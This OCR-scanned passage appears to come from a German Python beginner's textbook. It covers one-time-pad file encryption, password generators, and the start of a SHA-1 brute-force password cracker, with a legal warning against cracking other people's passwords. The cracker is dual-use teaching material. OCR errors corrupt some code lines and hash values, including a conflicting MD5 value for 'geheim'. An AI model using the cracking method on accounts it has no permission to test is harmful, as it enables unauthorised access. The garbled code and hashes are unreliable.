einen Sinneswandel an, der zwar nur langsam aber wenigstens Gberhaupt
stattfindet.

Mit dem Aufkommen von loT-Geraten®® hat man leider erneut dieselben
Fehler gemacht wie vor drei Jahrzehnten. Deshalb hort man immer wieder
von schwach oder gar nicht geschiitzten Uberwachungskameras, die {iber
das Internet angesprochen werden konnen. Auch zahlreiche andere Gerate
wie etwa internetfahige Drucker oder intelligente Kihlschranke kénnen
davon betroffen sein und von jedermann uber Suchmaschinen wie
»shodan.io” gefunden werden. Wer weil3, vielleicht sind es gerade deine


http://www.youtube.com/

smarten Lampen, die von einem Hacker in ein Botnetz eingespannt werden
und dann ghne dein Wissen Server attackieren. In dem folgenden Video
erfahrst du, was man unter einem Botnetz versteht und warum es so
gefahrlich ist:

https://florian-dalwigk.com/python-einsteiger/botnetze

Und dabei lasst sich Verschliisselung so leicht umsetzen. Wir werden in
diesem Projekt ein Programm entwickeln, das Dateien unknackbar
verschlisseln kann. Und mit unknackbar meine ich wirklich unknackbar. Es
gibt namlich nur eine Verschlisselung, die nicht nur praktisch, sondern
auch theoretisch sicher ist. Was bedeutet in diesem Zusammenhang
»praktisch sicher”? Nun, dass es mit modernen Rechnern nicht moglich ist,
die Verschlisselung in hinreichend kurzer Zeit zu knacken.

Nehmen wir als Beispiel die Primfaktorzerlegung, die zum Knacken das
RSA-Verfahren3® notig ist. Es gibt bislang keinen effizienten Algorithmus,
der dieses Problem zufriedenstellend I6st, d. h. der Aufwand zum Knacken
ist so hoch, dass selbst wenn man alle Rechner auf diesem Planeten
gleichzeitig nutzen konnte, man langer brauchte als das Universum alt ist,
um die Primfaktorzerlegung zu finden. Wahrend du fur Zahlen wie 119
noch per Hand berechnen kannst, dass diese Zahl das Produkt der beiden
Primzahlen 7 und 17 ist, wird dir das bei 9999999337000002079 schon
nicht mehr so leichtfallen und spatestens bei solchen Zahlenmonstern wie
in der Kryptologie-Challenge des Bundesnachrichtendienstes ist auch fir
den Computer Schluss. Ein Video zu dieser Challenge kannst du tber den



https://florian-dalwigk.com/python-einsteiger/botnetze

folgenden QR-Code abrufen:

https://florian-dalwigk.com/python-einsteiger/bnd_challenge

Auch wenn das Knacken in der Praxis nicht klappt, ist es, wenn man alle
Moglichkeiten ausprobieren wiirde, dennoch moglich. Das sogenannte
One-Time-Pad ist die einzige Verschlisselungsmethode, die auch in der
Theorie nicht geknackt werden kann. Warum? Nun, dafiir schauen wir uns
an, was die ldee hinter der Verschlisselung ist. Angenommen, Alice
mochte Bob eine Nachricht schicken.

1. Zuerst wandelt Alice ihre Nachricht in eine Folge aus Nullen und Einsen, also Bitfolgen®’, um. Da
jede Information, die auf einem Computer gespeichert ist, im Kern aus Nullen und Einsen besteht,
ist das ohne Probleme moglich.

2. Danach generiert sie zufallig eine Folge von Nullen und Einsen. Diese Bitfolge muss genauso lang
wie die zu verschlisselnde Nachricht sein.

3. Anschlieend schreibt sie die zu verschliisselnde Nachricht und die Bitfolge untereinander und
bildet fur alle untereinanderstehenden Bits die XOR-Verknipfung.

Das Ergebnis ist ein Text, der sich wirklich nur dann entschlisseln lasst,
wenn man im Besitz des Schliissels ist. Bei allen anderen bekannten
Verschlisselungsverfahren kann man durch Ausprobieren irgendwann auf
den Schlissel kommen.

Beispiel 12.7.1: Gegeben sei die Nachricht Hal1lo, die mit dem One-Time-
Pad verschlisselt werden soll.

1. Zuerst wandeln wir den Text mit dem ASCII-Standard® in eine Folge aus Nullen und Einsen um. Als
Ergebnis erhalten wir 0100100001100001011011000110110001101111.

2. Da die zu verschlisselnde Nachricht aus einer Bitfolge der Lange 40 besteht, muss auch unser
Schliissel 40 Stellen haben. Wir generieren uns diesen Schlissel bspw. mit einem
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Quantenzufallszahlengenerator.* Als Schliissel erhalten wir in unserem Fall exemplarisch
1111010101010100010011010101010001010101.

3. Jetzt schreiben wir die beiden Bitfolgen untereinander und bilden pro Stelle die XOR-
Verkniipfung:

0100100001100001011011000110110001101111

1111010101010100010011010101010001010101 XOR

1011110100110101001000010011100000111010

In der letzten Zeile steht das Ergebnis unserer Verschlisselung. Umgewandelt in einen Text erhalten
wir €5!8:. Wie du siehst, ist dort ein nichtdruckbares Zeichen € enthalten, was die
Entschliisselung spater verkompliziert, weshalb wir es bei der Darstellung als Bitfolge belassen.

Und, war doch gar nicht so schwer, oder? Nach dem Mathematiker Claude

Shannon ist das One-Time-Pad aber nur dann unknackbar und somit

theoretisch sicher, wenn der Schlissel die folgenden Bedingungen erfillt:

LI Der Schlissel ist ein echter Zufallsschlissel.

] Es diirfen keine Perioden bzw. Muster dhnliches enthalten oder erkennbar sein.
LI Der Schlissel ist genauso lang wie der Klartext.

] Der Schlissel wird nur einmal benutzt, deshalb auch One-Time-Pad.

[J Der Schliissel muss geheim bleiben.

Ein Nachteil dieser Verschliisselung ist, dass der Schlissel genauso lang
sein muss wie die zu verschlisselnde Nachricht. Mochtest du Dateien von
mehreren Gigabyte GroRe verschlisseln, ist der Speicherbedarf fiir den
Schlissel entsprechend hoch.

Wie dem auch sei: Jetzt versuchen wir uns mal an einem Programm, das
diese Verschliisselung mit dem One-Time-Pad umsetzt. Statt langweiligen
Texten, verschlisseln wir ganze Dateien, sodass du auch einen praktischen
Nutzen von der ganzen Programmiererei hast.

Zuerst importieren wir uns das Modul os der Standardbibliothek:

1 import os

Woflr wir das brauchen, siehst du spater. Zum Verschliisseln schreiben wir
uns eine Funktion verschlisseln, die als Parameter einen Pfad zur
Datei erhalt, die mit dem One-Time-Pad verschliisselt werden soll:

3 def verschlisseln (dateiname) :

Innerhalb der Funktion 6ffnen wir die Datei im Read-Binary-Modus und



lesen den Inhalt aus:

4 verschlisseln = open(dateiname, "rb").read()

Von dem ausgelesenen Inhalt lassen wir uns die GrolRe bestimmen, um zu
wissen, wie groR der Schlissel sein muss:

5 groéBe = len(verschlisseln)

Jetzt erfahrst du, wofir wir os brauchen. Dort gibt es eine Funktion
urandom, mit der ein String zufalliger Bytes erzeugt werden kann. Der
Vorteil dieser Funktion ist, dass man die Lange dieses Strings ganz
komfortabel mit einem Parameter (hier groke) festlegen kann:

6 schliissel = os.urandom(grobe)

Den soeben erzeugten Schliissel speichern wir nun in einer Datei. Um im
Nachhinein gewahrleisten zu kdnnen, dass der Schliissel der richtigen Datei
zugeordnet werden kann, wird an den Namen der verschlisselten Datei
einfach nur die Endung . key angehangt:

7 with open (f"{dateiname}.key", "wb") as datei:

8 datei.write(schliissel)

Wie schon in der Theorie, schreiben wir die Bits der Schlissel jetzt
untereinander und bilden die XOR-Verknipfung:

9 wverschlisselt = bytes(a”b for (a,b) in zip
(verschliisseln, schliissel))

Das Ergebnis der XOR-Verknipfung

a”b for (a,b) in zip(verschlisseln, schliissel)

ist eine Liste, die wir mit bytes in Bytes umwandeln. Diese Bytes

werden nun in die verschlisselte Datei geschrieben. Die verschlisselte
Datei tragt den urspriinglichen Namen erganzt um die Endung .crypt:



10 with open (f"{dateiname}.crypt", "wb") as datei:

11 datei.write (verschlisselt)

Was verschlisselt wurde, will natlirlich auch wieder entschliisselt werden.
Doch wie funktioniert das bei dem One-Time-Pad? Bisher kénnen wir
Daten nur in ein Staatsgeheimnis umwandeln. Keine Sorge: Das werden wir
andern. Die Entschlisselung ist genauso einfach wie die Verschlisselung.
Hierbei profitieren wir von einer Eigenschaft der XOR-Verknipfung,
namlich dass sie selbstinvers ist. Was heilst das jetzt schon wieder? Damit
ist gemeint, dass man eine XOR-Verknupfung riickgangig machen kann,
indem man sie erneut anwendet, d. h. fir die Entschliisselung muss man
die verschlisselte Nachricht noch einmal mit dem Schlissel
yverschlisseln”., Dieses erneute Verschliisseln entspricht dann dem
Entschliisseln. Probieren wir das doch direkt an Beispiel 12.7.1 aus.

Beispiel 12.7.2: Die Nachricht
1011110100110101001000010011100000111010, die mit dem
Schlissel 1111010101010100010011010101010001010101

verschllsselt wurde, soll entschliisselt werden. Hierflir schreiben wir die
beiden Bitfolgen untereinander und bilden die XOR-Verknupfung:
1011110100110101001000010011100000111010
1111010101010100010011010101010001010101 XOR
0100100001100001011011000110110001101111

Wandeln wir das Ergebnis wieder in einen Text um, dann Uberrascht uns
nicht, dass erneut Hallo herauskommt. Das war namlich die urspriinglich
verschlisselte Nachricht.

Zum Entschlisseln schreiben wir uns eine Funktion entschliisseln, die
den Pfad zur verschliisselten Datei (dateiname) und den dazu passenden
Schlissel (schliissel) als Parameter erhalt:

13 def entschliisseln (dateiname, schliissel) :

Jetzt lesen wir den Inhalt der zu verschliisselnden Datei und des Schlissels
aus:



14 verschlisselt = open (dateiname, "rb").read()

15 schlissel = open(schlissel, "rb").read()

Wie bereits in Zeile 9, kommt auch hier analog die XOR-Verknlpfung zum
Einsatz:

16 entschlisselt=bytes(a"b for (a,b) in zip
(verschlisselt, schlissel))

Da wir bei dem Namen der verschlisselten Datei einfach nur die Endung
.crypt an den urspringlichen Dateinamen angehangt haben, schneiden

wir diese sechsstellige Endung ab und fligen ganz vorne den Prafix
entschlisselt an:

17 dateiname = "entschlisselt " + dateiname[:-6]

So wird aus der verschliusselten Datei dateiname.txt.crypt die
entschllsselte Datei entschliisselt dateiname.txt, die wir auf
die Festplatte schreiben:

18 with open(dateiname, "wb") as datei:

19 datei.write (entschliisselt)

Challenge

Wie dir sicherlich aufgefallen ist, wurde in den Zeilen 4, 14 und 15 nicht die
Code-Schablone 10.3.1 verwendet. Was flr Folgen kdonnte das haben? Da
die Datei nicht geschlossen wird, konnte es zu Zugriffsfehlern kommen,
wenn auch andere Programme darauf zugreifen. Schreibe die Funktionen
mit Code-Schablone 10.3.1 so um, dass sie sicher laufen. Die eigentliche
Challenge besteht bei diesem Projekt aber darin, unser Programm so zu
erweitern, dass damit eine gesamte (externe) Festplatte verschlisselt
werden kann. Gib vor dem Verschlisseln aus, wieviel Speicherplatz dafir
benotigt wird, und frage den Benutzer vorher, ob er wirklich die gesamte
Festplatte verschlisseln mochte. Wie stellst du sicher, dass man die
einzelnen Schlissel des One-Time-Pads den richtigen Dateien zuordnen
kann?



12.8 Passwort-Generator

Wie lang ist eigentlich dein Passwort? Sechs Stellen? Acht Stellen? Zwolf
Stellen? Hast du dich selbst fir diese Lange entschieden oder gab es
Passwortrichtlinien, an die du dich halten musstest?

Egal wie deine Antworten auf die soeben gestellten Fragen lauten:
Passwortsicherheit ist ein wichtiges Thema! Sie sind leider viel zu oft das
Einzige, was zwischen einem Angreifer und einem fremden Account steht.
Trotzdem verstehen viele nicht, dass es notwendig ist, Passworter zu
wahlen, die einen ausreichenden Schutz vor Angriffen bieten. Zur richtigen
Wahl von Passwortern existieren leider viele Mythen, die ich in dem
folgenden Video aufklare:

https://florian-dalwigk.com/python-einsteiger/passwortmythen

Wenn du denkst, dass du das alles nicht brauchst und deine Passworter
sicher genug sind, kannst du das auf der folgenden Webseite nachprifen:


https://florian-dalwigk.com/python-einsteiger/passwortmythen

https://florian-dalwigk.com/python-einsteiger/passwortsicherheit

Gib dort dein Passwort in das Feld ENTER PASSWORD ein und sieh dir an,
wie lange ein Computer braucht, um es zu knacken. Wenn du dich mit dem
Ergebnis nicht sicher genug flihlen solltest, ist es an der Zeit, ein sichereres
Passwort zu verwenden. Und genau dabei soll dir dieses Projekt helfen. Wir
bauen uns namlich einen Passwortgenerator.

Welche Schritte sind dafiir notig?

1. Wir legen einen Zeichensatz fest, auf dessen Basis die Passworter generiert werden sollen.

2. Danach liberlegen wir uns Anforderungen, die an das Passwort gestellt werden sollen. Das
kdnnen z. B. gangige Passwortregeln sein, wie man sie im Registrierungsbereich vieler Online-
Portale findet.

3. Unter Berlicksichtigung der in Schritt 2 festgelegten Passwortregeln und des in Schritt 1
definierten Zeichensatzes werden zum Schluss die Passworter zufillig zusammengesetzt.

Fir die Implementierung bendtigen wir die beiden Module random und
string. random stellt uns den Zufallsgenerator und string die
Zeichen zur Verfiigung. Um string nicht standig ausschreiben zu mussen,
importieren wir uns dieses Modul mit der Kurzbezeichnung s in unser
Programm:

1 import random

2 import string as s

Wir definieren eine Funktion passwort generieren, der wir die
gewlinschte Lange des Passworts (1aenge) als Parameter libergeben:

4 def passwort generieren(laenge) :


https://florian-dalwigk.com/python-einsteiger/passwortsicherheit

Fir unseren Passwort-Generator sollen alle GroBbuchstaben,
Kleinbuchstaben, Zahlen und Sonderzeichen erlaubt sein. Wir einigen uns
also auf die folgenden 94 Zeichen:

abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY Z
0123456789!"#$%&" () *+,—./:;<=>2@[\]1" “{I|}~

Auf die einzelnen Bestandteile des Zeichensatzes (GroBbuchstaben,
Kleinbuchstaben, Zahlen und Sonderzeichen) kénnen wir mithilfe des
Moduls st ring wie folgt zugreifen:

5 gross = s.ascii uppercase # "ABCDEFGHIJKLMNOPQRS TUVWXYZ"

6 klein = s.ascii lowercase # "abcdefghijklmnopgrs tuvwxyz"

7 zahlen = s.digits # "0123456789"

8 sonderzeichen = s.punctuation # !"#S$%&' () *+,-./ :;<=>7
QINI~_"{I}~

Ohne string missten wir die einzelnen Zeichen selbst, wie in den

Kommentaren hinter den Zeilen 5 bis 8, ausschreiben. Das wiirde nattrlich
auch gehen, doch die Verwendung eines Moduls ist hier um einiges
komfortabler. Die einzelnen Zeichensatze packen wir nun in eine Liste:

9 zeichen = [gross,klein,zahlen, sonderzeichen]

Leider konnen wir nicht auf den Zeichensatz string.printable
zurtckgreifen, der alle 100 druckbaren Zeichen enthalt:

0123456789%abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQR
STUVWXYZ ! "#$%&" () *+,~-./:;<=>2@Q[\]"_"{|}~\nde

Dort ist namlich auch ein Zeilenumbruch (\n), sowie die
Geschlechtersymbole ¢ und ¢ enthalten, die man normalerweise nicht in
einem Passwort verwenden kann.

Aber zuriick zum Thema: Das Passwort stellen wir ebenfalls in Form einer
Liste dar, die zu Beginn noch leer ist:

10 passwort = []



Lass uns kurz dartiber reden, weshalb wir die einzelnen Zeichensatze nicht
in einem String zusammenfassen. Viele Online-Portale verlangen bei der

Registrierung, dass ein Passwort mindestens einen GroBbuchstaben, einen
Kleinbuchstaben, eine Ziffer und ein Sonderzeichen enthalt. Wir
Ubernehmen diese Vorgabe jetzt einfach mal, auch wenn sich daruber
streiten lasst, ob das wirklich so sinnvoll ist. Um zu gewahrleisten, dass von
allem etwas dabei ist, wahlen wir ganz am Anfang aus jedem Zeichensatz
jeweils einen Vertreter aus. Dazu iterieren wir Uber die Zeichensatze und
wahlen mit der Funktion choice auf random ein zufédlliges Element aus,

das wir der Passwortliste hinzufigen:

11 for x in zeichen:

12 passwort.append (random.choice (x))

Jetzt fligen wir die Zeichensatze zu einem gemeinsamen Zeichensatz
zusammen. Doch wie macht man aus einer Liste mit Strings einen

String? Hierfir kann die Methode join verwendet werden:

13 zeichensatz = '"'.join(zeichen)

Diese wird auf einem String aufgerufen, der als Trenner dient. Trenner

woflr? Nun, fur die einzelnen Elemente der als Parameter libergebenen
Liste. Dahierderleere String '"' als Trenner verwendet wird, werden

die Zeichen der Liste direkt aneinandergeklebt und ergeben den bereits
erwahnten Zeichensatz mit den 94 Zeichen:

abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY Z
0123456789 "#5%6&" () *+,~./:;<=>2Q@Q[\]"_"{|}~

Solange die Lange des Passworts noch nicht der gewilinschten Lange
entspricht, wird aus dem Zeichensatz, der jetzt ein String ist, mit

choice zufallig ein Zeichen ausgewahlt und dem Passwort hinzugefigt:

14 for in range(laenge):

15 passwort.append(random.choice (zeichensatz))



Weshalb wir den Zeichensatz in Zeile 9 zuerst als Liste aus einzelnen

Zeichensatzen definiert haben, haben wir bereits geklart. Man hatte zwar
auch anders sicherstellen kdnnen, dass von jeder Zeichenart mindestens
ein Vertreter im Passwort zu finden ist, doch der Umweg mit der Liste
funktioniert so weit. Aber wieso haben wir in Zeile 10 auch das Passwort
als Liste definiert? Hier hatte doch ein String ausgereicht, dem man

nacheinander die zufallig ausgewahlten Zeichen anhangt. Das stimmt auch,
allerdings ware dann die erste Stelle immer ein GrolRbuchstabe, die zweite
immer ein Kleinbuchstabe, die dritte immer eine Zahl und die vierte immer
ein Sonderzeichen gewesen, weil wir zu Beginn direkt sicherstellen wollen,
dass alles mindestens einmal vertreten ist. Mit einer Liste kénnen wir

die gesammelten Zeichen in der Liste mit der Funktion shuffle,
einfach zufallig durchmischen:

16 random.shuffle (passwort)

Zum Schluss fligen wir die gemischte Liste mit join zu einem Passwort
zusammen und geben es zurick:

17 return ''.Jjoin (passwort)

Im Hauptprogramm fragen wir den Benutzer, wie lang sein zufallig
generiertes Passwort werden soll und speichern das Ergebnis in einer
Variable n. Diesen Wert wandeln wir mit int in eine Ganzzahl um:

19 if name == " main ":

20 n = int (input ("Passwortlange? "))

AnschlieBend ubergeben  wir diesen  Wert der  Funktion
passwort generieren und speichern das Ergebnis in einer Variable

passwort, die wir uns am Ende ausgeben lassen:

21 passwort = passwort generieren (n)

22 print (passwort)

Sehr schon, jetzt kannst du dir bei deiner nachsten Registrierung ein



Passwort von deinem Python-Programm wirfeln lassen. Ein Problem bleibt
aber leider bestehen: Python liefert mit dem Modul random keinen
echten, sondern berechneten Zufall. Man spricht hier auch von
Pseudozufall, weshalb random auch nur ein deterministischer
Pseudozufallszahlengenerator ist. Was das genau bedeutet, erfahrst du in
dem folgenden Video:

https://florian-dalwigk.com/python-einsteiger/zufall_vorherberechnen

Wie |6sen wir das Problem? Indem wir statt random ein anderes Modul
aus der Standardbibliothek, namlich secrets verwenden. secrets
unterscheidet sich von random dahingehend, dass hier Phanomene wie
das Rauschen von elektronischen Bauteilen als Zufallskomponente
miteinbezogen werden. Echten Zufall kann man derzeit namlich nur in der
Natur beobachten.?® Weitere Beispiele fir solche Zufallsprozesse sind:

[J Radioaktive Zerfallsprozesse

[ Chaosbewegungen, wie etwa der Fall eines Blatt Papiers
[l Quantenphysikalische Effekte

Mit secrets sind wir jedenfalls erstmal auf der sicheren Seite. Fiir die
Implementierung importieren wir uns zusatzlich zu string also auch das
seit Python 3.6 zum Standard gehoérende Modul secrets:

1 import string as s

2 import secrets

Die Funktion passwort generieren erhdlt auch diesmal wieder die


https://florian-dalwigk.com/python-einsteiger/zufall_vorherberechnen

gewlinschte Passwortlange (1aenge) als Parameter:

4 def passwort generieren (laenge) :

Diesmal verzichten wir auf etwaige Passwortregeln und setzen den
Zeichensatz direkt zusammen. Du kannst das Programm aber natirlich
deinen Bedirfnissen anpassen:

5 <zeichen = s.ascii letters + s.digits + s.punctuation

Anstelle einer Liste verwenden wir hier einen String fiur die
Ergebnisvariable passwort, da wir diesmal keine Passwortregeln

umsetzen, die einen Rickschluss auf die Position einzelner Zeichentypen
im Passwort zulassen:

6 passwort = ''

Solange die Lange des Passworts noch nicht der gewlinschten Lange
entspricht, wird mithilfe der Funktion choice auf secrets aus dem

Zeichensatz zeichen ein zufilliges Zeichen ausgewahlt und dem
Passwort angehangt:

7 while len(passwort) < laenge:

8 passwort += secrets.choice (zeichen)

Zum Schluss geben wir das Passwort zuriick:

9 return passwort

Im Hauptprogramm fragen wir den Benutzer wieder, wie lang das Passwort
sein soll. Um genug Entropie, also Unordnung, im Passwort zu haben,
verlangen wir bei 94 Zeichen mindestens 16 Stellen. Die Abfrage erfolgt
hier mit dem Walross-Operator:

11 if name == " main ":

12 while (n := int (input ("Passwortlange? (mind. 16) "))) < 16:
13 pass



Im Anschluss wird das Passwort generiert und ausgegeben:

14 passwort = passwort generieren (n)

15 print (passwort)

Challenge

Bei der Umsetzung des Passwort-Generators mit secrets haben wir
darauf verzichtet zu prifen, ob jeder Zeichentyp (GroBbuchstaben,
Kleinbuchstaben, Zahlen und Sonderzeichen) vertreten ist. Erweitere das
Programm in dieser Challenge so, dass es nur Passworter mit den
folgenden Eigenschaften generiert:

[l Mindestens 20 Stellen.
[J Mindestens zwei GroRbuchstaben, zwei Kleinbuchstaben, zwei Zahlen und zwei Sonderzeichen.
] Es dirfen nicht mehr als zwei Zahlen direkt aufeinanderfolgen.

12.9 Passwort-Cracker

Nachdem du in Kapitel 12.8 einen Passwort-Generator programmiert hast,
willst du jetzt natlrlich auch wissen, wie man sie knacken kann. Das ist
Bestandteil dieses Projekts. Zu Beginn modchte ich aber natlirlich den
obligatorischen Hinweis geben, dass du fremde Passworter nicht ohne das
schriftliche Einverstiandnis des Betroffenen knacken darfst. Sonst begehst
du eine Straftat, namlich das Ausspahen von Daten (§ 202a Abs. 1 StGB).

Wie knacken Hacker eigentlich Passworter? Und was bedeutet ,knacken”
in diesem Zusammenhang Uberhaupt? Dazu musst du wissen, wie
Passworter in einer Datenbank abgespeichert werden. Wenn du dir einen
Account auf einer Webseite erstellst, dann wird das Passwort (hoffentlich!)
nicht im Klartext, also flur jedermann lesbar, gespeichert. Nein, vielmehr
wird eine Form des Passworts gespeichert, aus der man nicht auf das
Passwort schlielfen kann. Daflir kommen sogenannte Hashfunktionen zum
Einsatz.

Eine Hashfunktion f (x) = h ist eine mathematische Einwegfunktion, d. h. es
ist sehr leicht, aus x den Hashwert h zu berechnen, aber so gut wie
unmaoglich, zu einem gegebenen Hashwert h den Wert x zu berechnen. ,So



gut wie unmoglich” meint auch hier, dass man es , praktisch” nicht kann.
Wenn man genug Zeit und Ressourcen mitbringt, gelingt es einem
irgendwann.

Aber wie sieht so ein Hashwert aus? Schauen wir uns dazu mal MD5-Hash
des Passworts geheim an:

MD5(geheim) = e8636ea013e682faf61f56celcblab5c

Das ist die Hex-Darstellung des Hashwerts. Erkennst du darin die
Zeichenkette geheim wieder? Falls ja, ist es nur Zufall, mal ganz
abgesehen davon, dass in geheim nur das e eine Hex-Ziffer ist. Hashwerte
h, die von einer bestimmten Hashfunktion f (x) stammen, besitzen alle
dieselbe Lange. Da die Hex-Darstellung eines Hashwerts lediglich aus
Ziffern des Hexadezimalsystems besteht, kommen ohnehin nur 0 bis 9 und
a bis £ als mogliche Zeichen infrage. Geringfiigige Anderungen an dem x
sollten moglichst starke Abweichungen im Hashwert hervorrufen. Wenn
wir in geheim statt des kleinen ein grofles M verwenden, erhalten wir als
Ausgabe:

MD5 (geheiM) = 518dd3cdf501836e3f8ebcdfdcabtfb67

Die beiden Hashwerte sehen vollig anders aus und das ist auch gut so. Je
mehr die Hashwerte streuen, desto besser. Wenn du mehr dartber
erfahren willst, wie Hacker Passworter knacken, dann empfehle ich dir das
folgende Video:

https://florian-dalwigk.com/python-einsteiger/wie_hacker_passworter_knacken


https://florian-dalwigk.com/python-einsteiger

Beachte, dass ,Hashen” nicht dasselbe wie ,Verschliisseln” ist. Wer also
behauptet, dass ein Passwort durch einen Hashwert verschlisselt in einer
Datenbank gespeichert wird, der hat einen Denkfehler. Der wesentliche
Unterschied besteht darin, dass ein Hashwert (praktisch) nicht auf den
Klartext zurlickgefiihrt werden kann. Gerade das mochte man bei einer
Verschlisselung aber haben, denn was bringt eine verschlisselte
Information, wenn der Empfanger sie nicht entschlisseln kann?

Es gibt verschiedene Hashfunktionen, die unterschiedlich gut vor Angriffen
schiitzen. Bekannte Vertreter sind der bereits verwendete ,,Message-Digest
Algorithm 5“ (MD5), der ,Secure Hash Algorithm 1“ (SHA-1), die ,Secure
Hash Algorithm 2“ Familie (SHA-2), zu der unter anderem SHA-256 und
SHA-512 gehoren sowie die ,Secure Hash Algorithm 3“ (SHA-3) Familie.
Das Bundesamt fir Sicherheit in der Informationstechnik rat zur
Verwendung eines Vertreters der SHA-2 oder SHA-3 Familie, da MD5 und
SHA-1 unter anderem aufgrund von sogenannten ,Kollisionsangriffen”
keinen ausreichenden Schutz mehr bieten.*! Die Hashfunktionen
produzieren flr sich genommen jeweils einen Hash unterschiedlicher
Lange. Schauen wir uns dazu mal an, wie fir das Wort geheim die

Ergebnisse der unterschiedlichen Hashfunktionen aussehen:

Hashfunktion Hashwert fiir geheim
MD5 518dd3cdf501836e3f8ebcdfd4cabfb67
SHA-1 906072001efddf3elle6d2b5782£4777£e038739
SHA-256 d2e0fbcb31b861aal2b87a48fa02b725675a30991

87806ce90cl57c7684ab49c

SHA-512 8d847e01d22baa969f71fa362b4de21c9el3c7882
bceal3babc6a8ae0d71£fc8c9700c82e0087a65c8b
37bd29f536747£28c9672beclcae7762d2c9f36b6
013f2

Tabelle 12.9.1: Hashwerte unterschiedlicher Hashfunktionen fiir die Zeichenkette geheim



Eine gute Hashfunktion sollte die folgenden Eigenschaften mitbringen:

"] Eindeutigkeit: Der Hashwert h = f (x) einer Zeichenkette muss eindeutig sein. Was heiBt das? Nun,
dass bei gleicher Eingabe auch dasselbe Ergebnis herauskommt. Es darf also nicht passieren, dass
der Hashwert von geheim bei Verwendung derselben Hashfunktion pl6tzlich anders ist.

[ Irreversibilitdt: Ein schwieriges Wort, findest du nicht? Dahinter steckt aber nur die bereits
erwahnte Eigenschaft, dass man aus dem Hashwert die dazugehdorige Zeichenkette nicht ermitteln
kénnen soll.

[J Streuung: Die Hashwerte sollten gut streuen, d. h. im Falle der Hex-Darstellung soll moglichst der
gesamte Bereich abgedeckt werden.

L] Kollisionsresistenz: Dass es friiher oder spater zu einer Kollision kommt, d. h. zwei verschiedene
Zeichenketten x; und x, ergeben denselben Hashwert f (x{) = f (x;) = h, ist klar. Bei SHA-1 besteht
die Hex-Darstellung aus insgesamt 40 Stellen, die jeweils 16 verschiedene Werte annehmen

kdnnen. Somit gibt es insgesamt ,nur” 16*0 verschiedene SHA-1-Hashes, aber theoretisch
unbegrenzt viele Zeichenketten x als Eingabe. Bei einer guten Hashfunktion tritt so eine Kollision
aber eher selten auf.

Wie gehen wir nun aber beim Knacken der Passworter vor, die als

Hashwerte gespeichert werden?

1. Zuerst schreiben wir uns eine Funktion, die den Hashwert eines Texts berechnen kann. Statt fir
den Hashwert h das dazugehorige x zu finden, probieren wir verschiedene x (Passwortkandidaten)
aus, berechnen f (x) und hoffen, dass wir so das vorgegebene h finden. Wenn wir es gefunden
haben, dann ist der Passwortkandidat x auch das tatsachliche Passwort zum Hash h.

2. Im Anschluss daran gehen wir systematisch alle moglichen Zeichenkombinationen durch und
vergleichen ihren Hashwert mit dem vorgegebenen Hashwert. Diese Vorgehensweise bezeichnet
man als Bruteforce-Attacke. Die Auswahl der Passwortkandidaten kann aber auch zufallig oder auf
Basis eines Worterbuchs erfolgen.

In unserer ersten Fassung des Passwort-Crackers wahlen wir den
systematischen Ansatz. Hierzu importieren wir uns das Modul st ring mit
der Kurzbezeichnung s in unser Programm, damit wir nicht so viel tippen
mussen. string bendtigen wir vor allem, um den zugrundeliegenden
Zeichensatz zu definieren, der beim Cracking zum Einsatz kommen soll:

1 import string as s

itertools hilft uns mit der Funktion product bei der Berechnung des
kartesischen Produkts. In hashlib finden wir eine Vielzahl an

Hashfunktionen, wie etwa den bereits angesprochenen SHA-1, von dem
wir fortan ausgehen:

2 import itertools, hashlib



Du kannst das Programm bei Bedarf so erweitern, dass es auch andere
Hashfunktionen wie die weitaus sichereren Vertreter SHA-256 oder SHA-
512 zuladsst. Den Zeichensatz fur die Passwortkandidaten entnehmen wir
dem Modul string. string.printable liefert alle druckbaren

Zeichen, doch leider auch Zeilenumbriiche usw. Aus diesem Grund bauen
wir uns einen eigenen Zeichenvorrat zusammen, der aus Buchstaben
(s.ascii letters), Ziffern (s.digits) wund Sonderzeichen

(s.punctuation) besteht:

4 zeichen = s.ascii letters + s.digits + s.punctuation

Unser Zeichensatz enthalt die folgenden 94 Zeichen:

abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123
4567891 "#3%&" () *+,—./;<=>2Q[\]1" " {]}~

Wir definieren uns eine Funktion hash berechnen, die von einem als
Parameter Ubergebenen text den Hashwert in Hex-Darstellung
berechnet:

6 def hash berechnen (text):

Wir gehen davon aus, dass der Hashwert des Passworts vom Typ SHA-1 ist.
Deshalb rufen wir auf hashlib die Funktion shal auf und tUbergeben ihr

den text als UTF-8 kodiertes Byt e-Objekt:

7 shal hash = hashlib.shal (text.encode())

Auf diesem shal hash rufen wir jetzt die Funktion hexdigest auf, um
die Hex-Darstellung zu erhalten:

8 hex darstellung = shal hash.hexdigest ()

Zum Schluss geben wir das Ergebnis zurick:

9 return hex darstellung



Mochtest du einen anderen Hashalgorithmus verwenden, musst du das in
Zeile 7 angeben. Fur SHA-256 wiirde der Code dann wie folgt aussehen:

sha256 hash = hashlib.sha256 (text.encode())

So, jetzt kdnnen wir zumindest schonmal den SHA-1 Hash eines Texts
berechnen. Das ist erforderlich, um die Passwortkandidaten, die wir im
nachsten Schritt systematisch ermitteln, mit dem vorgegebenen
Passworthash zu vergleichen.

Als nachstes schreiben wir eine Funktion passwort knacken, die den
Hashwert des zu knackenden Passworts (hashwert), sowie die minimale
(min) und maximale (max) Lange des Passworts erhalt:

11 def passwort knacken (hashwert, min=6,max=10) :

Wird kein Wert fir min und max angegeben, erhalten sie die
Standardwerte 6 und 10. Wie kommt man aber auf die Lange des

Passworts? Kann man die irgendwo ablesen? Am Hashwert nicht, nein.
Solche Vermutungen konnen sich aber bspw. aus der Passwortrichtlinie,
auf deren Basis ein Passwort erstellt wurde, ergeben. Dieser Langenbereich
bestimmt die Machtigkeit des Schliisselraums, also wie viele Passworter
ausprobiert werden mussen. In einer for-Schleife werden nacheinander

min bis max Stellen lange Passworter ausprobiert. Da wir die range-
Funktion verwenden und diese die obere Schranke nicht mitbericksichtigt,
addieren wir auf max noch 1 drauf:

12 for n in range (min,max+1) :

Um alle moglichen Kombinationen unseres Zeichensatzes durchgehen zu
kdnnen, verwenden wir das kartesische Produkt. Die Funktion product

auf itertools erledigt das fiir uns. Wir miissen nur die Zeichenmenge
